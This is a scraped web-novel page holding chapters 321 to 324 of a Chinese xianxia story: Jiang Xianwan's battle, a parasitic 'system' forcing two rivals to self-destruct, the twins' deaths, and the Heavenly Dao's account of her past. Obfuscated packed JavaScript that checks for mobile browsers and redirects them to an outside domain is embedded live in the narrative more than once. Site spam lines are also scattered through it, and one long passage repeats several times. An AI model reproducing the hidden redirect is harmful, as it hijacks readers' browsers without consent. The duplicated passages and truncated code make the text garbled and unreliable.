手腕猛地一拧难得生出两分烦躁厄弓裹挟厉风悍然金流砸向北帝尊反手之际一道凌厉剑光已削向南帝尊! 这一剑劈出去的力道太过狂暴收回的刹那天际间乌云密布雷电肆虐虚空破碎重组如有逆转时空之力。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 南北帝尊败局立显。 江献晚一边牵制魔皇妖帝,视线掠向曜灵执弓挥剑,攻势如潮,逼得南北帝尊节节败退。 二人联手非但占不到丝毫上风,反倒狼狈不堪。 一个帝冠被剑意碾作飞灰,长发披散,另一个半张脸遭厄弓重击,高高肿起,颜面尽失。 根本毫无胜算。 双生子仅仅只是露面一个,便打的他们二人毫无还手之力。 若是知晓灵休帝尊其实是两个,恐怕心态崩的更快。 江献晚愈发不解,休寅去了哪里,为何还不现身。 双生子到底又是……因何而死。 就在这时,南北帝尊眼底的最后一丝理智,随着颜面尽失,彻底崩断。 面庞扭曲出近乎怪异的褶皱,渐狰狞如癫,周身气息愈发混乱狂暴。 她心中的不安,也在这一刻无限扩大,甚至演变成了一种极度的恐惧。 收回视线,决定速战速决。 剑意轻轻一送,再断风连郢一尾。 转腕时,强势不减半分,在魔皇剧烈收缩的瞳孔中,将其右臂斩断。 趁他病,要他命! 江献晚剑意轰然暴涨,乌发衣裙翻涌,脱手狠狠擎出。 第 321 章 自爆 不甘的咆哮震彻苍穹。 然而。 明明是胜负即刻分明的局面,江献晚面色倏地苍白。 她突然感受到一股……阴邪至极的气息! 那股气息…… 她一剑荡开风连郢与魔皇,未经思索,整个人已如离弦之箭般扑向曜灵! 曜灵猛地抬头,一股阴涩诡谲的气息毫无征兆地压了下来。 他眼睁睁看着她不管不顾地朝自己扑来,脸上的血色顷刻褪得干干净净,眼中惊惶如裂帛般炸开! “姐姐——! 一切发生得太快,念头才刚升起便被碾碎。 南北帝尊的神情也在这一瞬彻底凝固,眼中瞳光尽散,眼白齐齐上翻。 一层晦涩幽暗的黑气如活物般,自他们眼底涌动翻腾,扭曲窜动,仿佛正被某种无形之力强行攫住了神智。 到了此刻,江献晚终于明白,这便是虚古境埋骨无数,从而因怨气、死气、煞气交织,最后诞生出无数邪灵的原因! 系统原来早已出现在这场大战,是幕后最大的黑手! 合体自曝! 莫说虚古境会被夷为平地,今日在场的任何一个恐怕也难逃一死! 更何况两个合体! 望着这一幕,系统狂喜难抑。 它蛰伏已久,千挑万选,看上了又疯又有能力的界皇。 只不过,界皇的力量太过强悍、恐怖,让它始终不敢轻易沾染。 而这场毁天灭地的大战,来的正是时候! 只要操控风连郢与魔皇的神智,迫他们自爆,界皇必遭重创。 它便可以趁虚而入,攻进她的神识,与之绑为一体。 飞升上界,指日可待! 它不担心界皇会死在两个合体期自爆中。 它自然会护着她,留她一口气,为她铸就牢笼,将她化作,只属于它的利刃与躯壳! 当那毁天灭地的气息席卷而来,万物战栗,三境三域万修奔逃如潮水溃堤,惨呼不绝。 而在这一切的正中心,生死只在刹那。 耳边炸开三王凄厉的惊叫与嘶吼,江献晚想也不想,厉声震喝:“走——!!! 声音未落,身体已撕裂 听说看这本书的人都是很幸运的,分享后你的运气会更棒 空气狂冲而出——快过思绪 意识还未追上现实杀意与守护的本能已彻底爆发! 周身灵力轰然爆发如狂涛炸开硬生生将曜灵推离即将**的风暴中心。 同时双手如铁钳死死扣住南北帝尊的手腕不容挣脱地压住了他们所有的挣扎。 神识刚散出一缕神识才刚逸出一缕休寅已撕裂空间悍然现世一拳轰出天地骤暗! 磅礴气劲如九霄惊雷炸裂将再度扑杀而来的风连郢与魔皇狠狠震退。 下一刻他与曜灵同时掠至她身侧二人动作快得只剩残影。 四手齐出力道看似轻柔如春风拂柳却带着不容抗拒的天堑之威将她猛地推离战局中心。 同时一道无形屏障骤起将她外放的神识生生逼回灵台震得她识海嗡鸣! 江献晚被那股不容抗拒的力量猛地推得倒飞而出。 那一刹时间仿佛被无形的手拉扯变形万物失声唯有视野在缓慢地碎裂、延展。 她湿红的双眸之中清晰无比地映出那两张如出一辙的漂亮面庞。 他们望着她眼神温柔而破碎。 这一刻她脑中一片空白竟不知自己该想什么能想什么…… 唯有一股撕裂肺腑的痛楚汹涌地碾过每一寸神识。 蓦地她喉间一甜唇角溢出大片殷红的血。 曜灵眸底泛着微红那其中竟漾着一种近乎温柔的决绝。 右手猛地下压一声瘆人的骨碎声响起南帝尊脊梁应声而断。 紧接着一股恐怖至极的气息毫不留情地灌入其识海! 江献晚眼中全是惊骇急急在空中稳住身形煞踏如流星却被痕剑与厄弓齐齐短暂的阻了去路。 而就是这一息休寅手下亦没有丝毫犹豫干脆利落地反拧、发力将北帝尊双臂应声折断。 他释放出的气息同样强横霸道如汹涌的浪潮般狠狠冲入其识海之中! 江献晚踉跄了一步望着眼前近乎疯狂的两人宛如一盆冰水泼头淋下! 他们疯了……他们这是连命都不要了! 两双同样泛着红、却依旧温柔得令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280863|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人心碎的眸子齐齐望向她。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 就像很多年前,他们还会缩在她衣袖里无声落泪时一样,眼泪大颗大颗地滚下来。 曜灵与休寅眼底凝着一层薄薄的水光,那是不肯坠落的眷恋、是无法言说的担忧,更是一场未来得及说出口的告别。 哪怕神魂正被寸寸撕裂,他们的眉与唇依旧温柔得像融雪的初晨、拂过枝梢的微风。 可这一刻,所有的温柔尽数碾碎,只余下深彻骨髓的自责。 他们红着眼眶,颤动的唇间只来得及挤出残破的字句: “姐姐,活着。” “替我们……活下……” 他们原本还想轻轻问她: 姐姐,这一次……可不可以别再将我们丢下了? 仓促的时间,可却再也没有机会了。 那东西来得太诡谲、太突兀,他们竟一丝都未曾察觉。 更没能护住姐姐,眼睁睁看着她就在眼前,他们却以这样一种猝不及防的方式——骤然离去。 再无法护她半分! 江献晚喉间一声呜咽尚未出口,便已彻底凝固。 她的瞳孔剧烈震颤,眼底只余两抹倏然破碎的身影。 仿佛最后一缕月光沉入深渊,所有的光与声都在这一刻被撕碎、抽离。 南北帝尊的神魂被悍然吞没! 那原本充斥天地、几欲压垮虚古境的恐怖气息,只是几息,又戛然而止。 如同滔天巨浪骤然悬停,继而无声崩塌——来得暴烈,散得寂寥。 只剩下空荡的风掠过残墟,再无一息回音。 曜灵和休寅强吞对方神魂,试图阻挡他们的自爆。 却在那祟物试图操控攻击他们的神识时,根本无法抽回自己侵入对方识海的那部分。 竟毫不犹豫,选择了最惨烈的方式,直接绞碎! 绞碎自己的神魂,痛楚远超凌迟,近乎自爆。 曜灵与休寅死死咬住牙关,唇瓣早已苍白如纸。 全身骨骼发出不堪重负的摩擦声,每一寸肌理都在剧烈地痉挛、战栗,仿佛下一秒就要彻底崩毁。 第 322 章 万念成灰 鲜血不受控制地自紧抿的唇间不断涌出,汇成一道道触目惊心的血痕,划过苍白的下颌,无声地砸落。 每一滴,都像沉重的命数,狠狠撞碎在寂静里,回荡起惊心动魄的回响。 那两双漂亮的眸子,在涣散,在失焦……却仍固执地朝着她的方向。 眸中映着破碎的天光,映着她惊惶的脸,也映着某种近乎执拗的温柔。 仿佛即便神魂俱碎、万物成灰,他们最后想记住的,仍旧是她的模样。 光在一点点消逝,如同风中残烛,明灭不定。 江献晚的视野被一片狰狞的血色彻底吞没。 天地无声,万物失颜,唯有那抹猩红如业火般灼穿眼眸。 她浑身剧烈地战栗起来,那颤抖并非来自体外,而是自魂魄最深处迸裂而出。 如同深秋枝头最后一片枯叶,在狂风中被撕扯、碾碎,再拼凑不起完整的形状。 可她动弹不得,喊不出声,只能眼睁睁看着…… 她没能护住他们! 竟又是她……让那般美好的白栀与寒霜……再一次、死在了她的眼前! 毁灭并未因此止息,更不给她机会。 系统一计不成,当机立断,再度强行操控了魔皇与风连郢的心神。 那股熟悉的、令人窒息狂暴气息又一次转眼紧至,充斥天地,仿佛噩梦重临。 奔逃的众修士尚未喘过一口气,心又骤然悬至喉头。 江献晚只觉得一道尖锐的冲击,直贯灵台,狠狠撞向她的神魂深处。 剧痛轰然炸开,似万刃剐魂,眼前骤然一黑,她指节发颤,几乎握不住手中之剑。 风连郢与魔皇自爆不过瞬息之间,她却还要死死抵住那不断冲撞、试图侵入并绑定她神识的系统。 下一刻,眼中陡然掠过一丝决绝的厉色,周身骤然爆出璀璨夺目的金光! 竟是在这千钧一发之际,强行突破境界,引动飞升劫雷! 轰—— 一声。 天幕骤然撕裂,万丈雷光如巨龙倾泻而下,瞬间吞没她的身影。 劫雷未至,那煌煌天威已压得众生匍匐,山河失声! 系统发出一声扭曲的尖啸,它试图绑定的神识被 这突如其来的天道之力狠狠贯穿、撕扯。 它怎也未曾料到,界皇竟敢在神魂重创与两个强者自爆之下,引雷焚身! 金光与雷暴交织中,江献晚长发狂舞,衣袂迸裂,每一寸肌肤都仿佛在劫火中燃烧。 可她脊背挺得笔直,如孤峰迎向滔天洪浪,眼中唯有焚尽一切的决绝。 要么于雷劫中涅槃。 要么拉这窥伺的邪物一同……神魂俱灭! 在两股自爆毁天灭地的冲击之下,江献晚全然不顾当头劈落的劫雷,将一身灵力疯狂倾注。 巨大的结界轰然崛起,如倒悬的天幕骤然垂落,化作一道坚不可摧的光壁,硬生生将三境三域所有修士尽数隔绝在外! 厄弓与痕剑震颤不休,承托着双生子的身躯,发出一阵高过一阵的凄厉嗡鸣。 那声响不似凡铁,竟似含着无尽的悲怆与不甘,尖锐地刺破了周遭凝滞的空气。 尽管风连郢已失三尾、实力大损,可若再加上一个堪堪步入渡劫期的魔皇。 两人之力**献晚以滔天修为强行压缩于一方结界之中,其毁灭之威……足以摧垮整座虚古境! 轰—— 两股毁天灭地的自爆之力在光罩之中轰然对撞、爆发,万丈雷霆如巨龙崩毁,摧枯拉朽般,将她的灵力碾碎。 结界应声而碎,狂暴的冲击向四面八方疯狂荡开。 然而,竟有超过半数毁灭性能量被硬生生阻绝、消弭于结界之内,最终逸散出去的……不足五成! 轰—— 又是一声。 飞升劫雷掐点落下,整个虚古境剧烈震颤,山河移位,天地几欲翻覆。 却是只针对江献晚一人。 就在雷光及体的刹那,横亘于侧的厄弓与痕剑骤然爆发出凄厉的长鸣。 它们铭记着双生子最后的托付,强行压下与主人相伴的本能,忍着近乎自毁的痛楚,将沉眠的双生子轻柔却决绝地向下方推离。 旋即义无反顾地迎头撞向那道毁灭性的劫雷,强行将其撕裂、分流! 硬抗天劫的代价顷刻显现。 只闻两声摧折心魄的哀鸣,厄弓与痕剑灵光尽碎,如同折翼的玄鸟,自高天黯然坠落,再无声息。 界域三王再哭嚎之声撕 心裂肺,宛如濒死之兽。 江献晚的视线逐渐模糊,神魂撕裂的剧痛阵阵涌来,睫毛不堪重负,凝结出细碎晶莹的泪意。 她用尽最后一丝气力,将双生子紧紧拥入怀中,仿佛将他们拥入骨血。 怀中两个少年,干净得像初霁的新雪,如今却双目紧闭,长睫再不曾颤动。 面容苍白得透明,唯有颊边那抹血色刺目得令人窒息。 再也没有一丝声息,再也没有一声“姐姐”。 她终究没能和他们好好告别……甚至……也未能听完他们最后的话语。 天地无声,万念成灰。 她只能这样抱着他们,以血肉之躯作最后的屏障,抵挡道道落下的雷劫。 却不知道……自己是否真的护住了他们最终那一点微弱如残烛的神魂。 —— 江献晚坠入一个诡谲而寂静的世界。 苍穹之上,日与月同时悬照,光芒交织却冰冷无声。 她躺在镜面之上,一动也不动,日光与月光无声地流淌过她的指尖、她的衣摆。 黑衣少年连滚带爬,几乎是摔跪在她身侧,惊惶欲绝地握住她冰冷的手指,用颤抖的双手紧紧压在自己脸颊上。 他试图用体温去暖热那寸寸寒意,喉中溢出不成调的哽咽。 “晚晚。” “晚晚……” 江献晚双眸空洞无光,如同一具被抽去灵魂的躯壳。 就在这撕心裂肺的呼唤中,她忽然极其缓慢地、极其僵硬地将头颅歪向一侧。 透过那层冰冷剔透的镜湖,望向下方沉着的一只巨大无比的仙蚌。 蚌壳紧闭,流光熠彩,周身流转着仙力的光芒。 一点一点,映亮了她空洞无神的瞳孔。 她踉跄着撑起半边身子,一头扎入湖镜之下,那一瞬间,崩溃与绝望竟化作冰冷的清醒。 双手死死扣上蚌壳的边缘,用尽全身力气般,猛地一掀! 泪珠轰然崩落! 心裂肺,宛如濒死之兽。 江献晚的视线逐渐模糊,神魂撕裂的剧痛阵阵涌来,睫毛不堪重负,凝结出细碎晶莹的泪意。 她用尽最后一丝气力,将双生子紧紧拥入怀中,仿佛将他们拥入骨血。 怀中两个少年,干净得像初霁的新雪,如今却双目紧闭,长睫再不曾颤动。 面容苍白得透明,唯有颊边那抹血色刺目得令人窒息。 再也没有一丝声息,再也没有一声“姐姐”。 她终究没能和他们好好告别……甚至……也未能听完他们最后的话语。 天地无声,万念成灰。 她只能这样抱着他们,以血肉之躯作最后的屏障,抵挡道道落下的雷劫。 却不知道……自己是否真的护住了他们最终那一点微弱如残烛的神魂。 —— 江献晚坠入一个诡谲而寂静的世界。 苍穹之上,日与月同时悬照,光芒交织却冰冷无声。 她躺在镜面之上,一动也不动,日光与月光无声地流淌过她的指尖、她的衣摆。 黑衣少年连滚带爬,几乎是摔跪在她身侧,惊惶欲绝地握住她冰冷的手指,用颤抖的双手紧紧压在自己脸颊上。 他试图用体温去暖热那寸寸寒意,喉中溢出不成调的哽咽。 “晚晚。” “晚晚……” 江献晚双眸空洞无光,如同一具被抽去灵魂的躯壳。 就在这撕心裂肺的呼唤中,她忽然极其缓慢地、极其僵硬地将头颅歪向一侧。 透过那层冰冷剔透的镜湖,望向下方沉着的一只巨大无比的仙蚌。 蚌壳紧闭,流光熠彩,周身流转着仙力的光芒。 一点一点,映亮了她空洞无神的瞳孔。 她踉跄着撑起半边身子,一头扎入湖镜之下,那一瞬间,崩溃与绝望竟化作冰冷的清醒。 双手死死扣上蚌壳的边缘,用尽全身力气般,猛地一掀! 泪珠轰然崩落! 心裂肺,宛如濒死之兽。 江献晚的视线逐渐模糊,神魂撕裂的剧痛阵阵涌来,睫毛不堪重负,凝结出细碎晶莹的泪意。 她用尽最后一丝气力,将双生子紧紧拥入怀中,仿佛将他们拥入骨血。 怀中两个少年,干净得像初霁的新雪,如今却双目紧闭,长睫再不曾颤动。 面容苍白得透明,唯有颊边那抹血色刺目得令人窒息。 再也没有一丝声息,再也没有一声“姐姐”。 她终究没能和他们好好告别……甚至……也未能听完他们最后的话语。 天地无声,万念成灰。 她只能这样抱着他们,以血肉之躯作最后的屏障,抵挡道道落下的雷劫。 却不知道……自己是否真的护住了他们最终那一点微弱如残烛的神魂。 —— 江献晚坠入一个诡谲而寂静的世界。 苍穹之上,日与月同时悬照,光芒交织却冰冷无声。 她躺在镜面之上,一动也不动,日光与月光无声地流淌过她的指尖、她的衣摆。 黑衣少年连滚带爬,几乎是摔跪在她身侧,惊惶欲绝地握住她冰冷的手指,用颤抖的双手紧紧压在自己脸颊上。 他试图用体温去暖热那寸寸寒意,喉中溢出不成调的哽咽。 “晚晚。” “晚晚……” 江献晚双眸空洞无光,如同一具被抽去灵魂的躯壳。 就在这撕心裂肺的呼唤中,她忽然极其缓慢地、极其僵硬地将头颅歪向一侧。 透过那层冰冷剔透的镜湖,望向下方沉着的一只巨大无比的仙蚌。 蚌壳紧闭,流光熠彩,周身流转着仙力的光芒。 一点一点,映亮了她空洞无神的瞳孔。 她踉跄着撑起半边身子,一头扎入湖镜之下,那一瞬间,崩溃与绝望竟化作冰冷的清醒。 双手死死扣上蚌壳的边缘,用尽全身力气般,猛地一掀! 泪珠轰然崩落! 心裂肺,宛如濒死之兽。 江献晚的视线逐渐模糊,神魂撕裂的剧痛阵阵涌来,睫毛不堪重负,凝结出细碎晶莹的泪意。 她用尽最后一丝气力,将双生子紧紧拥入怀中,仿佛将他们拥入骨血。 怀中两个少年,干净得像初霁的新雪,如今却双目紧闭,长睫再不曾颤动。 面容苍白得透明,唯有颊边那抹血色刺目得令人窒息。 再也没有一丝声息,再也没有一声“姐姐”。 她终究没能和他们好好告别……甚至……也未能听完他们最后的话语。 天地无声,万念成灰。 她只能这样抱着他们,以血肉之躯作最后的屏障,抵挡道道落下的雷劫。 却不知道……自己是否真的护住了他们最终那一点微弱如残烛的神魂。 —— 江献晚坠入一个诡谲而寂静的世界。 苍穹之上,日与月同时悬照,光芒交织却冰冷无声。 她躺在镜面之上,一动也不动,日光与月光无声地流淌过她的指尖、她的衣摆。 黑衣少年连滚带爬,几乎是摔跪在她身侧,惊惶欲绝地握住她冰冷的手指,用颤抖的双手紧紧压在自己脸颊上。 他试图用体温去暖热那寸寸寒意,喉中溢出不成调的哽咽。 “晚晚。” “晚晚……” 江献晚双眸空洞无光,如同一具被抽去灵魂的躯壳。 就在这撕心裂肺的呼唤中,她忽然极其缓慢地、极其僵硬地将头颅歪向一侧。 透过那层冰冷剔透的镜湖,望向下方沉着的一只巨大无比的仙蚌。 蚌壳紧闭,流光熠彩,周身流转着仙力的光芒。 一点一点,映亮了她空洞无神的瞳孔。 她踉跄着撑起半边身子,一头扎入湖镜之下,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江献晚的视线逐渐模糊,神魂撕裂的剧痛阵阵涌来,睫毛不堪重负,凝结出细碎晶莹的泪意。 她用尽最后一丝气力,将双生子紧紧拥入怀中,仿佛将他们拥入骨血。 怀中两个少年,干净得像初霁的新雪,如今却双目紧闭,长睫再不曾颤动。 面容苍白得透明,唯有颊边那抹血色刺目得令人窒息。 再也没有一丝声息,再也没有一声“姐姐”。 她终究没能和他们好好告别……甚至……也未能听完他们最后的话语。 天地无声,万念成灰。 她只能这样抱着他们,以血肉之躯作最后的屏障,抵挡道道落下的雷劫。 却不知道……自己是否真的护住了他们最终那一点微弱如残烛的神魂。 —— 江献晚坠入一个诡谲而寂静的世界。 苍穹之上,日与月同时悬照,光芒交织却冰冷无声。 她躺在镜面之上,一动也不动,日光与月光无声地流淌过她的指尖、她的衣摆。 黑衣少年连滚带爬,几乎是摔跪在她身侧,惊惶欲绝地握住她冰冷的手指,用颤抖的双手紧紧压在自己脸颊上。 他试图用体温去暖热那寸寸寒意,喉中溢出不成调的哽咽。 “晚晚。” “晚晚……” 江献晚双眸空洞无光,如同一具被抽去灵魂的躯壳。 就在这撕心裂肺的呼唤中,她忽然极其缓慢地、极其僵硬地将头颅歪向一侧。 透过那层冰冷剔透的镜湖,望向下方沉着的一只巨大无比的仙蚌。 蚌壳紧闭,流光熠彩,周身流转着仙力的光芒。 一点一点,映亮了她空洞无神的瞳孔。 她踉跄着撑起半边身子,一头扎入湖镜之下,那一瞬间,崩溃与绝望竟化作冰冷的清醒。 双手死死扣上蚌壳的边缘,用尽全身力气般,猛地一掀! 泪珠轰然崩落! 心裂肺,宛如濒死之兽。 江献晚的视线逐渐模糊,神魂撕裂的剧痛阵阵涌来,睫毛不堪重负,凝结出细碎晶莹的泪意。 她用尽最后一丝气力,将双生子紧紧拥入怀中,仿佛将他们拥入骨血。 怀中两个少年,干净得像初霁的新雪,如今却双目紧闭,长睫再不曾颤动。 面容苍白得透明,唯有颊边那抹血色刺目得令人窒息。 再也没有一丝声息,再也没有一声“姐姐”。 她终究没能和他们好好告别……甚至……也未能听完他们最后的话语。 天地无声,万念成灰。 她只能这样抱着他们,以血肉之躯作最后的屏障,抵挡道道落下的雷劫。 却不知道……自己是否真的护住了他们最终那一点微弱如残烛的神魂。 —— 江献晚坠入一个诡谲而寂静的世界。 苍穹之上,日与月同时悬照,光芒交织却冰冷无声。 她躺在镜面之上,一动也不动,日光与月光无声地流淌过她的指尖、她的衣摆。 黑衣少年连滚带爬,几乎是摔跪在她身侧,惊惶欲绝地握住她冰冷的手指,用颤抖的双手紧紧压在自己脸颊上。 他试图用体温去暖热那寸寸寒意,喉中溢出不成调的哽咽。 “晚晚。” “晚晚……” 江献晚双眸空洞无光,如同一具被抽去灵魂的躯壳。 就在这撕心裂肺的呼唤中,她忽然极其缓慢地、极其僵硬地将头颅歪向一侧。 透过那层冰冷剔透的镜湖,望向下方沉着的一只巨大无比的仙蚌。 蚌壳紧闭,流光熠彩,周身流转着仙力的光芒。 一点一点,映亮了她空洞无神的瞳孔。 她踉跄着撑起半边身子,一头扎入湖镜之下,那一瞬间,崩溃与绝望竟化作冰冷的清醒。 双手死死扣上蚌壳的边缘,用尽全身力气般,猛地一掀! 泪珠轰然崩落! 第 323 章 天道与逆子 蚌内并无凡俗贝类的腥气,充盈着一种凝若实质的柔和光晕,如烟似雾,缓缓流淌。 在这光晕最盛之处,静静地悬着一颗浑圆的明珠。 光华内蕴中……是两个样貌如出一辙的少年。 双手安静地交叠在腹部,身形轮廓如水中倒影般完美相契,仿佛亘古以来便相依于此。 一人如寒玉雕琢,墨发衬得肤色极白,薄唇总是微微抿着,线条冷峻。 即便在沉睡中,眉宇间也凝着一抹不容靠近的冷冽,空气都凝着霜息。 另一人似春水映花,相同的眉眼在他脸上却化开了柔软的弧度,唇角天然微扬,乌丝柔顺地铺散在身下,更添几分翩翩少年的灵动。 流转的灵光仿格外眷恋他,柔柔地覆上一层光晕,暖意悄生。 可他们却面色苍白如纸,皮肤下的青紫色血管隐约可见,毫无一丝活人的生气。 江献晚跪伏在巨大的蚌壳旁,指尖轻轻抚过双生子沉睡的眉眼,眼眸空洞地睁着。 仿佛将所有情绪都呕尽了,只余下两个被泪水反复灼烧、湿红不堪的轮廓。 目光毫无焦点地落在双生子的脸上,像是穿透了他们,望向了更遥远、更虚无的破碎之处。 感受到那股至高无上的气息降临,眼底顷刻翻覆起一层猩红的戾气。 她缓缓抬眸,望向虚无的至高处,嘶哑的嗓音被碾碎一般,宛如濒死之兽最后的恸鸣。 “天道。” “别逼我。” 她让双生子**两次! 一次未能护住,一次未能救回! 连只字片语都未曾留下! 她发丝无风涌动,周身灵气不可控制剧烈震颤,几乎要蚀穿这方空间。 “是谁叫你将字迹抹除的!” 双生子不该不知,否则,他们看到留字,不会不知晓她的心意,更不会是那种反应! 到了离开,都认为她又丢下了他们! 对于逆子疯魔的反应,天道不以为然。 “于你而言,他们从来都如微尘似芥子,本就可有可无。” “恭喜你得偿所愿……又一次摆脱他们。” 声落,江献晚眼底积郁的戾气骤然暴涨,竟使她的面容霎时染上 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 一抹惊心动魄的魔性滟色。 明知天道在激她。 明知天道别有用心。 明知天道绝不会这般轻易叫她将双生子复活! 江献晚猝然攥紧十指猛地垂下睫帘眼角压下眼底的戾气。 仿佛方才反天的劣骨只是瞬间的错觉。 天道被逆子以下犯上难免不悦不过见她这副不得不强行忍耐吃瘪受气的倒霉样儿又很是幸灾乐祸。 活该啊。 难得啊。 啧啧啧…… 逆子也特么有今天? 以前梗脖子的劲儿呢? 捅破天揭穿地的嚣张跋扈劲儿呢? 小小逆子拿捏拿捏。 不过…… 还是别气她了。 把逆子惹急眼真一怒之下反了天……还有谁能干这苦差事? 六界只怕是又要乱。 话说三百年前那场大战逆子命悬一线。 界碑在最后紧要关头哭的跟个狗似的突然扑在了她身上同时也带来了界域所有修士的信仰之力。 而逆子竟硬生生凭借着这些信仰之力一步踏天。 谁料一入仙界那叫一个马不停蹄、迅速掀起腥风血雨! 搅的仙庭天翻地覆霸占了凤族所掌的无妄镜。 无妄境乃六界净土 也就是涤尽其中积攒的痴念、嗔妄与执著。 万般妄念流转汇聚沉于境心历经无数轮回涤荡最终集孕育出一枚通体剔透的仙珠。 仙珠纳尽世间七情六欲、五毒八苦于至浊至秽之中反炼出一缕至纯至净的仙魄精元。 它既是妄念的归墟亦是魂灵的彼岸能定三魂七魄护真灵不昧乃诸天万界中护持神魂的第一仙宝。 不知怎么那仙珠第一眼便喜欢上了这逆子。 愿倾尽自身灵韵奉为滋养助她温养与修补双生子那破碎濒灭的神魂。 而逆子为催生出属于自己的情丝亦为报答这无条件的哺育之恩心甘情愿接纳生出一副琉璃玉骨。 二者之间一段远比血 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 缘更深刻的母子情缘,也就此结成。 哦,那仙珠,就是双生子睡的蚌壳里,悬着的那颗。 后来,逆子为速生情丝,毅然自斩道基,弃绝杀戮与无情两条通天坦途,纵身一跃,堕入凡尘。 自此,万丈红尘是熔炉,七情如沸,八苦煎心,一一尝尽。 可十世轮回,十场徒劳。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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天道:“……”沉默。 逆子压根没搭理仙帝,自个杀得劲了,扭头又水灵灵回了无妄境。 然,此子杀业滔天,煞气缠身。 却亦功德浩瀚,掌诸仙生死轮回。 这两个,暂且不说。 最重要的是,逆子特么压根不听天道旨意,仿佛就跟听了个屁似的,让她干什么,她就不干什么。 处处对着干,往死里干。 可想而知,自是得将逆子往死里打磨一番。 帝隐他们四人直接聆听天道旨意,进无妄境捉拿逆子,谁知,各个一进去,还没来得及张嘴,就被逆子反过来暴揍了一顿。 愈发丟了魂儿,丟了心。 第 324 章 她咋不见帝尊呢 毕竟。 逆子杀天杀地杀空气,不仅杀的诸仙噤若寒蝉,还于血色中杀出一片风流债。 一边是天道旨意,一边是那坐在蚌壳中,修补双生子神魂的少女。 结果可想而知。 这五个,沦陷的速度比逆子**的速度来的都快! 就因为逆子那点美色! 没把逆子捉来,各个反倒是死活都不愿再出来……安静守在一旁,眼睁睁的看她为双生子补魂。 凤仪更不会走,那本来就是由他所掌的无妄境,只沉默的看着。 真的。 就搞笑。 爱情来的太快,就像龙卷风。 轰轰又烈烈。 都不想说! 那浓浓爱慕,就差刻脑门上了! 当然……那样一种情况,他们就是不说话,逆子也觉得这几个分外碍眼。 除了一直沉默不语的凤仪,剩下那四个,哪个没挨过她的揍? 嘴张不张,逆子心烦时,上去就是一顿往死里揍! 还总让人家“**”。 五千年,且不说帝隐四个,被她与墓碑主仆二个,拍的芳心不知碎了多少回,**又碎了多少瓣。 最咋舌的,当属凤凰一族的凤仪。 谁不知凤凰天性高傲,凤仪贵为血脉最纯正的凤凰,翎羽不敛,华光灼目,天上地下,再找不出一个,更是傲骨天成。 其目中所见唯有九天日月之辉,余者皆如微末尘芥,岂能入眼? 谁知,这还没开打呢,就被逆子一句“**”给干沉默了,自个的翎羽欢欢喜喜得了个名。 还……让出了无妄境,由着逆子兴风又作浪。 废了。 这五个都废了。 天道如何坐的住? 眼看这五个,不听话,自甘堕落,被她伤的芳心七零八落,还不知悔改。 甚至……最后合力,竟主动替她将无妄境搬进了墓碑之中! 呵。 想想都要气笑了好吧? 咋不把天搬进去呢? 这么玩儿是吧? 都特么下凡历劫去吧! 当 然凤仪他们五个能下凡,也是逆子主动在背后推了一把。 明显是嫌弃这五个麻烦,还摆脱不掉,一个墓碑拍过去,将人下饺子似的,送下了凡间。 又摁着仙帝的脑瓜子,让人给凤仪五个与她人牵出一缕情丝。 这下好了。 逆子跟那五个恋爱脑都下凡了,整个六界也跟着安静了。 安静的有种……不真实的幸福感。 一朝心血来潮,天威浩荡,降临世间。 忽见那曾于中州大战骤现,险令逆子功败垂成的六界之外的变数,竟未被天劫神雷殄灭,安然存世。 虚古境有逆子与双生子庇护,本应能免于生灵涂炭之祸。 却因那邪物被天雷伤了根基,竟趁秩序崩摧之际,窃取无数修士气运,以致哀鸿遍野。 万千修士枉死,所滋生的戾气、怨气与煞气交织弥漫,终将中州化为一片无人敢近的绝地。 这邪物蛰伏三百载,阴毒不减反增,蛊惑林轻染,令其染指祸害凤仪五人,连同其他十三位气运之子。 企图借林轻染飞升之机,暗渡陈仓,一同潜入仙界。 倘若林轻染真能凭魅力征服凤仪等人,自是算圆满。 可叹她被异数蛊惑,贪得无厌,以操控神识的卑劣手段,强缚一缕假情丝! 此举不仅令她窃夺无数修士气运,更贪妄到欲将十八位气运至强者尽数纳为后宫禁脔,汲其气运,成就一己飞升之私欲。 待到察觉之时,正值林轻染加冕为皇,并与那十八位气运之子举行大婚的当日! 如何不震怒。 竟敢操控厄弓,窃取逆子之物,妄图染指其信仰之力! 她所欲非仅是操控十八子,更是要僭越神权,颠覆法则! 纵观其行止,林轻染较之逆子,何异于萤火之于皓月? 直白来讲,林轻染这个瘟大灾的,给逆子提鞋都不配! 逆子是心硬如铁,一个不要。 她是不要脸,全都要! 眼看这十八个都要被她给嚯嚯,神魂岌岌可危,即将被彻底吞噬、倾覆之际。 只得寻得逆子,低头让步,以双生子的性命为筹码,与她作了交易。 为保万全,防她趁此良机,把凤 仪几个正好顺手弄死,便抹除了逆子记忆。 随后,祂重塑时光长河,命小紫将她送至林轻染拜入万古宗的前一年,布下新的棋局。 逆子就是逆子,能力可想而知。 再者,追根溯源,凤仪五人堕凡历劫,皆是由她种下的因。 这其间因果循环,此番收拾残局、弥补过失,自是她的分内之责。 为防逆子察觉端倪、横生枝节,又隐去了江行行的仙骨。 